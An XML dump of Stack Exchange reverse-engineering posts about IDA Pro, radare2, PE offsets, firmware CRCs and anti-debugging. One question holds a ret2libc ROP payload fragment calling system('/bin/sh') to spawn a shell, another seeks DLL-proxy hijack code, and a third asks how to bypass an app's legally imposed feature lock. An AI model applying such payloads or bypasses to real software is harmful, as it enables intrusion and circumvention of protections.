  <row Id="26102" PostTypeId="1" CreationDate="2020-10-12T03:18:37.477" Score="0" ViewCount="84" Body="&lt;p&gt;I am learning libc shellcode attacks and trying to execute /bin/sh from system&lt;/p&gt;&#xA;&lt;p&gt;I can execute other commands from system like whoami and ls -a but can not run /bin/sh&lt;/p&gt;&#xA;&lt;p&gt;the following works&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;string = b&amp;quot;ls -a\0&amp;quot;&#xA;# system, _exit, system arg &#xA;b'\xf0\xef\x04\x08', b'\xe3\xd0\x06\x08', string_addr.to_bytes(4, byteorder='little')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;but this doesn't work&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;string = b&amp;quot;/bin/sh\0&amp;quot;&#xA;# system, _exit, system arg &#xA;b'\xf0\xef\x04\x08', b'\xe3\xd0\x06\x08', string_addr.to_bytes(4, byteorder='little')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;what is going wrong here?&lt;/p&gt;&#xA;" OwnerUserId="33503" LastEditorUserId="24222" LastEditDate="2020-10-17T07:04:42.947" LastActivityDate="2020-10-17T07:04:42.947" Title="system doesn't invoke /bin/sh" Tags="|exploit|libc|rop|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="26104" PostTypeId="1" AcceptedAnswerId="26105" CreationDate="2020-10-12T10:24:32.657" Score="0" ViewCount="79" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4gfqN.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4gfqN.jpg&quot; alt=&quot;Unknown chip&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Tried all kinds of searches (including &lt;a href=&quot;https://www.alldatasheet.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.alldatasheet.com/&lt;/a&gt; by marking), no result.&#xA;Can't even identify the manufacturer logo (PI-like symbol).&lt;/p&gt;&#xA;" OwnerUserId="34649" LastActivityDate="2020-10-12T13:04:34.537" Title="Trying to identify this chip" Tags="|integrated-circuit|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26105" PostTypeId="2" ParentId="26104" CreationDate="2020-10-12T13:04:34.537" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://www.st.com/content/st_com/en/products/memories/serial-eeprom/standard-serial-eeprom/standard-microwire-eeprom/m93c46-w.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.st.com/content/st_com/en/products/memories/serial-eeprom/standard-serial-eeprom/standard-microwire-eeprom/m93c46-w.html&lt;/a&gt;&lt;br&gt;&#xA;PS:Sorry Robert, I do not yet have the right to comment&lt;/p&gt;&#xA;" OwnerUserId="34077" LastActivityDate="2020-10-12T13:04:34.537" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26106" PostTypeId="1" CreationDate="2020-10-12T16:04:29.880" Score="1" ViewCount="168" Body="&lt;p&gt;I like to attach a dll to a game to add more features.&lt;/p&gt;&#xA;&lt;p&gt;The DLL is 95% done, the problem is find the best and easy way to load this dll from the Game.&lt;/p&gt;&#xA;&lt;p&gt;My idea is use this technique:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;dinput_ori.dll  (old dll).&#xA;dinput.dll      (my dll that point to dinput_ori.dll)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I don't need to access to any member of original DLL, but only load my dll.&lt;/p&gt;&#xA;&lt;p&gt;I searching for a generic dll source code that do this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;bool WINAPI DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)&#xA;{&#xA;&#xA;    std::string DLLFileOri = &amp;quot;dinput_ori.dll&amp;quot;;&#xA;&#xA;    switch (dwReason)&#xA;    {&#xA;    case DLL_PROCESS_ATTACH:&#xA;        // Load dll&#xA;&#xA;        LoadOriDll(DLLFileOri);&#xA;&#xA;        MsgBox(&amp;quot;This DLL was loaded.&amp;quot;);&#xA;&#xA;        break;&#xA;&#xA;    case DLL_PROCESS_DETACH:&#xA;&#xA;        // Close the DLL&#xA;        &#xA;        UnloadOriDll(DLLFileOri);&#xA;&#xA;        break;&#xA;    }&#xA;&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;in this case the name of my DLL is &amp;quot;dinput.dll&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;There is a generic source code that do this ?&lt;/p&gt;&#xA;&lt;p&gt;Thanks !&lt;/p&gt;&#xA;" OwnerUserId="33776" LastEditorUserId="33776" LastEditDate="2020-10-13T07:50:21.360" LastActivityDate="2022-12-26T00:20:09.017" Title="Easy way to attach a DLL to a Game" Tags="|c++|function-hooking|dll-injection|hooking|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="26107" PostTypeId="2" ParentId="43" CreationDate="2020-10-12T17:50:59.567" Score="3" Body="&lt;p&gt;They aren't any, do not try to do the mathematically impossible.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;For now, all the techniques I found on Internet were easily worked&#xA;around as soon as the anti-debug technique has been understood. So, I&#xA;wonder if there are stronger ones.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Yes, because there is no way of detecting a debugger that can not be faked.&#xA;Software can not detect if it runs in a perfect emulation or in the real world. And a emulator can be stopped, the software can be analyzed, variables can be changed, basically everything can be done that can be done in a debugger.&lt;/p&gt;&#xA;&lt;p&gt;Let's say you want to detect if the parent process is a debugger. So you make a system call to get the parent PID? The debugger can intercept the system call and return any PID which does not have to be the real PID. You want to intercept every SIGTRAP so the debugger can't use it anymore? Well the debugger can just stop in this case and send the SIGTRAP also to your process. You want to measure the time when you send SIGTRAP to know if the process stops for a short time by the debugger for sending SIGTRAP so you know when there is a debugger? The debugger can replace your calls to get the time and return a fake time. Let's say you run on a Processor that has a instruction that returns the time, so no function call is needed to get the time. Now you can know that the time you are getting is real? No, the debugger can replace this instruction with a SIGTRAP instruction and return any time he wants or in case such a instruction does not exist, run the Software in a emulator that can be programmed in any way. Everything you can come up with to detect a debugger or emulator can be faked by the environment and you have 0 change to detect it.&lt;/p&gt;&#xA;&lt;p&gt;The only way to stop debugging is by not giving the software to the customers but keep it in your hands. Make a cloud service and run the software on your server. In this case the customer can not debug your program since he does not run it and has no control over it. Except the customer can access the server or the data somehow, but that is a different story.&lt;/p&gt;&#xA;" OwnerUserId="34654" LastEditorUserId="42335" LastEditDate="2023-05-12T13:33:24.323" LastActivityDate="2023-05-12T13:33:24.323" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26108" PostTypeId="1" CreationDate="2020-10-13T12:00:52.313" Score="1" ViewCount="1139" Body="&lt;p&gt;I'm trying to modify an openWRT frimware in order to be able to flash it in a router, these are the steps:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;download the latest nbg-419n2-initramfs-kernel.bin use hexedit and&lt;/li&gt;&#xA;&lt;li&gt;change first 4 bytes to “Zyxel-like” u-boot magic number FF A8 30 90&lt;/li&gt;&#xA;&lt;li&gt;count new CRC32 of u-boot header (64 bytes) and write next 4 bytes (7A&#xA;BE 7A CE for&#xA;openwrt-18.06.5-ramips-rt305x-nbg-419n2-initramfs-kernel.bin)&lt;/li&gt;&#xA;&lt;li&gt;start tftp server IP 192.168.1.82 rename changed image file to NBG419Nv2.bin&#xA;and set to tftp server connect any lan port with server press and hold&#xA;the WPS key button on device and power on after 20-30 second your&lt;/li&gt;&#xA;&lt;li&gt;openWrt on ip 192.168.1.1 is ready and waiting&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Step 3&lt;/strong&gt; is the problem for me, I can't figure out how to calculate the new CRC32 of the u-boot header. I don't know where does it start and ends, I know it's a 64 bytes however.&#xA;What do I use to calculate it? (I tried &lt;code&gt;crc32&lt;/code&gt; tool on Linux)&lt;/p&gt;&#xA;" OwnerUserId="22743" LastActivityDate="2023-03-16T08:30:03.157" Title="how do I calculate crc32 of a u-boot header in a modified firmware image?" Tags="|firmware|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26109" PostTypeId="2" ParentId="25872" CreationDate="2020-10-13T13:00:08.653" Score="1" Body="&lt;p&gt;From your question it is not quite clear what you want to achieve: I assume you need the address in memory where you can find the &amp;quot;Address of Entry Point&amp;quot;, as well as the file offset where the code at &amp;quot;Address of Entry Point&amp;quot; is stored.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Let us look at your screenshots for the file offset of &amp;quot;Address of Entry Point&amp;quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;In your screenshot you find in the &amp;quot;Meaning&amp;quot; column that the &amp;quot;AddressOfEntryPoint&amp;quot; is contained somewhere in the &lt;code&gt;.text&lt;/code&gt; section.&lt;/p&gt;&#xA;&lt;p&gt;In your screenshot of the section headers you find the start of the &lt;code&gt;.text&lt;/code&gt; section at the &amp;quot;Virtual Address&amp;quot; &lt;code&gt;0x11000&lt;/code&gt;. Likewise you find the start of the &lt;code&gt;.text&lt;/code&gt; section in the file at the &amp;quot;Raw Address&amp;quot; of &lt;code&gt;0x400&lt;/code&gt;. The difference is &lt;code&gt;0x11000 - 0x400 = 0x10C00&lt;/code&gt;, meaning the hex value of the RVA is by &lt;code&gt;0x10C00&lt;/code&gt; higher than the same position in the file.&lt;/p&gt;&#xA;&lt;p&gt;Now you have to subtract the value of &lt;code&gt;0x10C00&lt;/code&gt; from the &amp;quot;AddressOfEntryPoint&amp;quot; to find the corresponding file offset. This should in your case result in&#xA;&lt;code&gt;0x11046 - 0x10C00 = 0x446&lt;/code&gt;. This should be the file offset where to find the code residing at &amp;quot;AddressOfEntryPoint&amp;quot;. The value of &amp;quot;AddressOfEntryPoint&amp;quot; itself (&lt;code&gt;0x11046&lt;/code&gt;) can be found at file offset (the &amp;quot;Offset&amp;quot; entry) &lt;code&gt;0x120&lt;/code&gt;, as pointed out also by  @bart1e.&lt;/p&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;RVA where to find e.g. in Ida the &amp;quot;AddressOfEntryPoint&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Take the vaue of &amp;quot;ImageBase&amp;quot; and add to it the &amp;quot;Address of entry point&amp;quot; (as also pointed out by @bart1e), in your case:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;0x00400000 + 0x00011046 = 0x411046&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This address will e.g. Ida show you as &amp;quot;start&amp;quot; point after having loaded it. However if you are running the debugger, the situation changes as the &amp;quot;ImageBase&amp;quot; usually will be changed by the NT loader to some random number (called ASLR). You can find this randomized start address in several ways, e.g. by letting Ida run the binary and &amp;quot;stop on process entry start&amp;quot; (Debugger options..) and subtracting your &amp;quot;Address of entry point&amp;quot; from the start address shown by Ida.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Remark:&lt;/strong&gt;&#xA;For investigation of a binary, it is often useful to avoid this ASLR. You can try to achieve this for instance in CFF Explorer by selecting in the &amp;quot;Optional Header&amp;quot; window the entry &amp;quot;Dll Characteristics&amp;quot; (a little down in the invisible part of your screenshot), click on &amp;quot;Click here&amp;quot;, and then, in the opening dialog un-select the checkbox &amp;quot;DLL can move&amp;quot;. The NT loader will now try to avoid ASLR and load the binary at the &amp;quot;ImageStart&amp;quot; address. However, in case of another module is to be loaded at tha same base address i.e. having an address collision, the NT loader will move it to somewhere else anyway.&lt;/p&gt;&#xA;" OwnerUserId="12800" LastEditorUserId="12800" LastEditDate="2020-10-13T13:41:52.780" LastActivityDate="2020-10-13T13:41:52.780" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26110" PostTypeId="2" ParentId="26108" CreationDate="2020-10-13T14:13:09.857" Score="1" Body="&lt;p&gt;I figured it out:&lt;/p&gt;&#xA;&lt;p&gt;You reset the checksum to ZEROs then you calculate CRC32 of the u boot header (from first byte to 64th byte)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;AA XX YY ZZ 00 00 00 00 ....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;the first 4 bytes are for magic word; the next 4 bytes are the checksum.&lt;/p&gt;&#xA;" OwnerUserId="22743" LastActivityDate="2020-10-13T14:13:09.857" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26111" PostTypeId="2" ParentId="18081" CreationDate="2020-10-13T15:52:25.130" Score="1" Body="&lt;p&gt;Look in the disassembly listing, you see lots of OUTS which is a sign of junk generated by trying to disassemble random data/bytes =&amp;gt; this thunk at RVA 00013800 should be safe to be &amp;quot;cut thunk&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;You could also follow the virtual address (00400000 + 00013800 = 00413800) of this thunk in the Dump pane of OllyDbg with Long -&amp;gt; Address mode or the dump view of x64dbg with Address mode to check the content at that position.&lt;/p&gt;&#xA;" OwnerUserId="23" LastActivityDate="2020-10-13T15:52:25.130" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26113" PostTypeId="1" CreationDate="2020-10-13T19:27:34.033" Score="1" ViewCount="542" Body="&lt;p&gt;probably silly question, what does Off ... means in IDA Pro?&#xA;i markered the snapshot as an example.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LONQN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LONQN.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34569" LastActivityDate="2020-10-13T21:00:57.370" Title="what is Off in IDA Pro?" Tags="|ida|malware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26114" PostTypeId="2" ParentId="26113" CreationDate="2020-10-13T21:00:57.370" Score="4" Body="&lt;p&gt;You might have a look &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/609.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; It says:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;off_          data, contains offset value&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12800" LastActivityDate="2020-10-13T21:00:57.370" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26115" PostTypeId="1" CreationDate="2020-10-14T17:46:08.843" Score="1" ViewCount="147" Body="&lt;p&gt;Would it be possible to develop a program that decompiles the instructions of a running process, for example into a C-like language, and allows them to be modified and then injected into the process itself, changing its behavior?&lt;/p&gt;&#xA;" OwnerUserId="34674" LastActivityDate="2022-12-26T00:09:15.517" Title="Change the behavior of any running process" Tags="|decompiler|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="26117" PostTypeId="1" CreationDate="2020-10-15T15:52:32.783" Score="2" ViewCount="38" Body="&lt;p&gt;Preface: This question is about &lt;strong&gt;source code reverse engineering and static analysis&lt;/strong&gt;. Meaning, there is no built code available but I have access to the source code of the program.&lt;/p&gt;&#xA;&lt;p&gt;Imagine I'm looking at some source code for a Java library. I know that in class &lt;code&gt;foo&lt;/code&gt;, there is a &lt;strong&gt;public&lt;/strong&gt; method &lt;code&gt;bar()&lt;/code&gt; that either contains a bug or calls another &lt;strong&gt;private&lt;/strong&gt; method which contains the bug.&lt;/p&gt;&#xA;&lt;p&gt;With no prior knowledge of the codebase, and by only looking at source code, &lt;em&gt;what are some techniques I can employ to find out if a given program that consumes this Java library, potentially calls the functionality, or triggers execution of the code with the bug in it?&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;I'm looking to answer the question &lt;em&gt;&amp;quot;Does this program use the vulnerable method/function either directly or indirectly?&amp;quot;&lt;/em&gt; I know that technically it may not be possible without running the program to determine if the functionality is &lt;em&gt;actually called&lt;/em&gt; because there may be a branch that is resolved at runtime based on external input. However, I only need to know whether or not the method &lt;em&gt;has any chance at or could potentially be&lt;/em&gt; called.&lt;/p&gt;&#xA;&lt;p&gt;I know how to find out if a method is used directly. I will search for the name of the class with vulnerable/buggy code throughout the program consuming the library, or even just search for the method itself. However, if the buggy function is not directly called by that program, this is where I am needing some tips. If the method is &lt;code&gt;private&lt;/code&gt; or internal, it will never be directly called by the consuming program, but I've also seen cases where a method is &lt;code&gt;public&lt;/code&gt; but isn't directly called by the consuming program, however, another method in the library calls it.&lt;/p&gt;&#xA;&lt;p&gt;This has made it difficult to find out if code using a given library is vulnerable to a bug. What are some tips to statically hunt down these references for Java? If you have relevant information that is for another OOP language, that could be useful here as well.&lt;/p&gt;&#xA;" OwnerUserId="18507" LastActivityDate="2020-10-15T15:52:32.783" Title="How can I tell whether or not a given library method is being referenced by a consumer program statically in OOP languages?" Tags="|c++|static-analysis|java|c#|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26118" PostTypeId="1" AcceptedAnswerId="26120" CreationDate="2020-10-15T18:56:49.063" Score="0" ViewCount="266" Body="&lt;p&gt;I'm currently working on a binary that has encrypted strings, using IDA 7.0. The encrypted data is copied to another location in memory, which is then decrypted. I have already decrypted the strings in-place, but due to the way the strings are accessed the decompiler is having trouble resolving them.&lt;/p&gt;&#xA;&lt;p&gt;This is an example of ASM that accesses a decrypted string:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;mov     rcx, cs:StringTableOffset&#xA;lea     rax, cs:180000000h&#xA;lea     rcx, [rcx+rax+130A4h]&#xA;call    cs:GetModuleHandleA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;For the purpose of reversing, &lt;code&gt;StringTableOffset&lt;/code&gt; can be considered 0, so the final &lt;code&gt;lea&lt;/code&gt; instruction effectively just moves the value &lt;code&gt;0x1800130A4&lt;/code&gt; into &lt;code&gt;rcx&lt;/code&gt;. The decompiler doesn't know that, though, and shows pointer arithmetic instead.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;|| ((v11 = GetModuleHandleA((LPCSTR)(StringTableOffset + 0x1800130A4i64))&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Is there any way to signal to the decompiler that the value of &lt;code&gt;rcx&lt;/code&gt; (the argument to GetModuleHandleA) is known, so that it can display the defined string?&lt;/p&gt;&#xA;" OwnerUserId="34681" LastActivityDate="2021-08-24T17:35:05.367" Title="How to inform Hex-Rays decompiler (7.0) of known register values?" Tags="|ida|decompilation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26119" PostTypeId="1" AcceptedAnswerId="26121" CreationDate="2020-10-15T23:53:17.190" Score="0" ViewCount="1323" Body="&lt;p&gt;I'm trying to search with IDA pro constants of type &amp;quot;#define SIZE 100&amp;quot; and normal local variables from a gcc-compiled binary file. I know there are a lot of open threads on the subject but I can't quite figure it out.&#xA;For example, this &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/14043/stack-variable-information-removed-in-ida-pro-free-version&quot;&gt;tutorial&lt;/a&gt; is very close to what I want, but I don't understand how I can display them graphically in IDA pro.&#xA;I'm new at this, thanks.&lt;/p&gt;&#xA;" OwnerUserId="34683" LastActivityDate="2020-10-16T02:01:28.970" Title="Find out the name of constants and var in IDA pro" Tags="|ida|stack-variables|local-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26120" PostTypeId="2" ParentId="26118" CreationDate="2020-10-16T01:32:54.370" Score="3" Body="&lt;p&gt;The answer to the specific question that you asked is: not directly through the UI, but it's possible with a plugin. &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/manual/sdk/hexrays_sample18_8cpp-example.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sample plugin #18 in the Hex-Rays SDK&lt;/a&gt;. The comment at the top of the plugin says:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;* It shows how to specify a register value at a desired location.&#xA;* Such a functionality may be useful when the code to decompile is&#xA;* obfuscated and uses opaque predicates.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However, there's a better answer to your question. The assembly code that you displayed is commonly generated by MSVC when accessing global arrays or data structures on x64. Basically, one register will be set to the base address of the containing module (&lt;code&gt;rax&lt;/code&gt; in your snippet above), and then array accesses will be encoded as &lt;code&gt;[rax+r64+RVA_of_array]&lt;/code&gt;, where &lt;code&gt;r64&lt;/code&gt; is some register being used for indexing purposes.&lt;/p&gt;&#xA;&lt;p&gt;Hex-Rays trips over snippets like this one, but there is a way to fix it: namely, by turning the numeric offset in the memory expression into an RVA. As far as I know, there's currently no way to do that through the GUI (EDIT: in the comments below, Igor Skochinsky informs us how to do this through the GUI), but you can do it through a small IDAPython script.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;def make_rva(ea, n):&#xA;    idaapi.op_offset(ea, n, ida_nalt.REFINFO_RVAOFF | ida_nalt.REF_OFF64, idaapi.BADADDR, idaapi.get_imagebase(), 0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now, you can run the &lt;code&gt;make_rva&lt;/code&gt; function by providing the address of the instruction with the memory expression as the first argument. The second argument is the operand number: 0 for left-hand side, 1 for right-hand side. Here's an example from a database I have open. Before:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0000000180019AEC cmp     byte ptr [rcx+rdx+138C84h], 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;After executing &lt;code&gt;make_rva(0x0000000180019AEC,0)&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0000000180019AEC cmp     rva stru_180138C80.sectors_per_cluster[rcx+rdx], 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I recently released a database of a malware sample that I had analyzed exhaustively, where I used these tricks as part of the analysis. &lt;a href=&quot;https://www.msreverseengineering.com/blog/2020/8/31/an-exhaustively-analyzed-idb-for-comrat-v4&quot; rel=&quot;nofollow noreferrer&quot;&gt;You can get the database here&lt;/a&gt;, and then jump to address &lt;code&gt;0000000180014607&lt;/code&gt; to check out the effects.&lt;/p&gt;&#xA;&lt;p&gt;EDIT, 08/24/2021: I reported the issue discussed above to Hex-Rays, who fixed it as of 7.6.&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="182" LastEditDate="2021-08-24T17:35:05.367" LastActivityDate="2021-08-24T17:35:05.367" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26121" PostTypeId="2" ParentId="26119" CreationDate="2020-10-16T02:01:28.970" Score="1" Body="&lt;p&gt;Generally speaking, this is not possible with any reverse engineering tool. If the programmer created custom &lt;code&gt;#define&lt;/code&gt; statements to associate numbers with symbolic names, this information will be destroyed by the compiler very early into the compilation process, long before the binary is ultimately created. Local variable names are also not preserved in the final binary, unless the binary contains debug information (or you have external debug information that you can apply to the binary). However, if this were the case, IDA would have already applied the information, and you would already see the proper names.&lt;/p&gt;&#xA;&lt;p&gt;TL;DR compilation destroys all symbolic names, and generally speaking, they cannot be recovered without debug information.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2020-10-16T02:01:28.970" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26122" PostTypeId="1" CreationDate="2020-10-16T12:19:41.557" Score="0" ViewCount="191" Body="&lt;p&gt;I have extracted some png files from one app. I cannot open them using android gallery neither on windows.&lt;/p&gt;&#xA;&lt;p&gt;Can you help understanding what is really this file and what should be changed in order to view it?&lt;/p&gt;&#xA;&lt;p&gt;here are the first few lines of the HEX code of the png.&lt;/p&gt;&#xA;&lt;p&gt;67 3e 65 09 38 a1 25 50 42 d3 14 be c8 23 b1 3d&#xA;06 e2 4e 38 f7 c0 36 58 7d 06 2b 1c af 10 6b 4c&#xA;bd 1f dd ae 7a 9d 68 8c 89 26 22 7a ea ca 66 b8&#xA;99 80 9e a4 48 1b 1b a3 22 96 b6 08 2f 93 c3 c1&#xA;57 12 d1 8f 31 22 02 7c ac 29 32 5a d3 cb 48 67&#xA;c5 d1 09 9d 82 2a 58 d6 3d 41 47 7a fa de c7 88&lt;/p&gt;&#xA;&lt;p&gt;Edit:The file is named with png extension. I extracted them from data/data folder. Tried to open it on windows. The above code is when opening it with HEX editot&lt;/p&gt;&#xA;" OwnerUserId="34686" LastEditorUserId="34687" LastEditDate="2020-10-18T10:45:21.250" LastActivityDate="2020-10-18T10:45:21.250" Title="extracting png file from app" Tags="|android|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26123" PostTypeId="2" ParentId="15181" CreationDate="2020-10-16T12:45:37.040" Score="0" Body="&lt;p&gt;I finally got the answer to my old question !&lt;/p&gt;&#xA;&lt;p&gt;So, basically Ian Kerr answer got most of it right, it was just missing a few bits of information. I will try to gather everything in this answer.&lt;/p&gt;&#xA;&lt;p&gt;Let say that we are going through a stripped binary, no symbol in sight and radare2 with us:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#&amp;gt; r2 ./crackme&#xA;[0x0804876c]&amp;gt; pd&#xA;    ;-- entry0:&#xA;       ;-- section..text:&#xA;       ;-- eip:&#xA;       0x08048680      31ed           xor ebp, ebp&#xA;       0x08048682      5e             pop esi&#xA;       0x08048683      89e1           mov ecx, esp&#xA;       0x08048685      83e4f0         and esp, 0xfffffff0&#xA;       0x08048689      54             push esp&#xA;       0x0804868b      6830880408     push 0x8048830&#xA;       0x08048690      6840880408     push 0x8048840&#xA;       0x08048695      51             push ecx&#xA;       0x08048696      56             push esi&#xA;       0x08048697      686c870408     push main          ; 0x804876c&#xA;       0x0804869c      e87fffffff     call sym.imp.__libc_start_main&#xA;       0x080486a1      f4             hlt&#xA;       ...&#xA;[0x08048680]&amp;gt; f sym.main @ 0x804876c&#xA;[0x08048680]&amp;gt; aaa&#xA;[x] Analyze all flags starting with sym. and entry0 (aa)&#xA;[x] Analyze function calls (aac)&#xA;...&#xA;[x] Propagate noreturn information&#xA;[x] Use -AA or aaaa to perform additional experimental analysis.&#xA;[0x08048680]&amp;gt; s sym.main&#xA;[0x0804876c]&amp;gt; pdf&#xA;            ; DATA XREF from entry0 @ 0x8048697&#xA;            ;-- sym.main:&#xA;┌ 96: int main (int argc, char **argv, char **envp);&#xA;│           ; var char *var_20h @ esp+0x4&#xA;│           ; var int32_t var_8h @ esp+0x1c&#xA;│           0x0804876c      55             push ebp&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;To sum-up, you need:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;To find the address of the function you want to add. Here, we found &lt;code&gt;main()&lt;/code&gt; thanks to &lt;code&gt;__libc_start_main()&lt;/code&gt; at 0x804876c.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To set a symbol tagged with &lt;code&gt;sym.&lt;/code&gt; in order to be recognized by radare2 as a symbol:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;f sym.main @ 0x804876c&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To perform an analysis of the new symbol with &lt;code&gt;aaa&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then, to switch the focus to this symbol: &lt;code&gt;s sym.main&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Finally, you can run &lt;code&gt;pdf&lt;/code&gt; or &lt;code&gt;VV&lt;/code&gt; as usual.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Enjoy!&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2020-10-16T15:59:29.337" LastActivityDate="2020-10-16T15:59:29.337" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26125" PostTypeId="1" CreationDate="2020-10-16T19:28:57.227" Score="0" ViewCount="79" Body="&lt;p&gt;I have an application that recently disabled support for one of the features I used for legal reasons. Looking at the decompressed file size and count of the new version compared to the old version shows that they are nearly identical, so I guess the feature was only disabled and not removed. I want to override the lock. The window I mentioned in the title is shown before that feature and covers it. I want to figure out what controls that window. Where should I even start?&lt;/p&gt;&#xA;" OwnerUserId="34692" LastActivityDate="2020-10-16T19:28:57.227" Title="How do I find the function that draws a window on android?" Tags="|android|apk|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
